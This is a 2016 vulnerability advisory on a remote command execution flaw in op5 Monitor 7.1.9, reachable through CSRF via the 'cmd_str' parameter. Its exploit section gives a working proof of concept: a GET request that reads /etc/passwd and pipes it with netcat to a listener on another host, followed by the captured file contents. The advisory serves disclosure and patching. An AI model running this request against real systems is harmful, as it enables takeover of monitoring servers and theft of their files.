[+] Credits: hyp3rlinx

[+] Website: http://hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/OP5-REMOTE-CMD-EXECUTION.txt


Vendor:
============
www.op5.com


Product:
===========
op5 v7.1.9

op5 Monitor is a software product for server, Network monitoring and
management based on the open source Project Nagios.


Vulnerability Type:
========================
Remote Command Execution


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

op5 has a CSRF entry point that can be used to execute arbitrary remote
commands on op5 system sent via HTTP GET requests, allowing attackers
to completely takeover the affected host, to be victimized a user must be
authenticated and visit a malicious webpage or click an infected link...

Reference:
https://www.op5.com/blog/news/op5-monitor-7-2-0-release-notes/


Exploit code(s):
===============

trivial RCE cat /etc/passwd... using netcat

nc.exe  -vvlp 5555 > passwds.txt

https://192.168.1.103/monitor/op5/nacoma/command_test.php?cmd_str=/bin/cat%20/etc/passwd%20|%20nc%20192.168.1.102%205555
<https://192.168.1.103/monitor/op5/nacoma/command_test.php?cmd_str=/bin/cat%20/etc/passwd%20%7C%20nc%20192.168.1.102%205555>


result:

listening on [any] 5555 ...
192.168.1.103: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.1.102] from (UNKNOWN) [192.168.1.103] 56935: NO_DAT
 sent 0, rcvd 1343

C:\netcat-win32-1.12>type passwds.txt
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
smstools:x:499:499::/var/lib/smstools:/bin/bash
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
op5lsu:x:500:500::/home/op5lsu:/bin/bash
saslauth:x:498:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
monitor:x:299:48::/opt/monitor:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin



Disclosure Timeline:
============================================
Vendor Notification:  March 27, 2016
Vendor confirms vulnerability March 27, 2016
Vendor issue patched new release v7.2.0 April 5, 2016
April 6, 2016  : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
=================================================================


Request Method(s):        [+] GET


Vulnerable Product:       [+] op5 v7.1.9


Vulnerable Parameter(s):  [+] 'cmd_str'

=================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

hyp3rlinx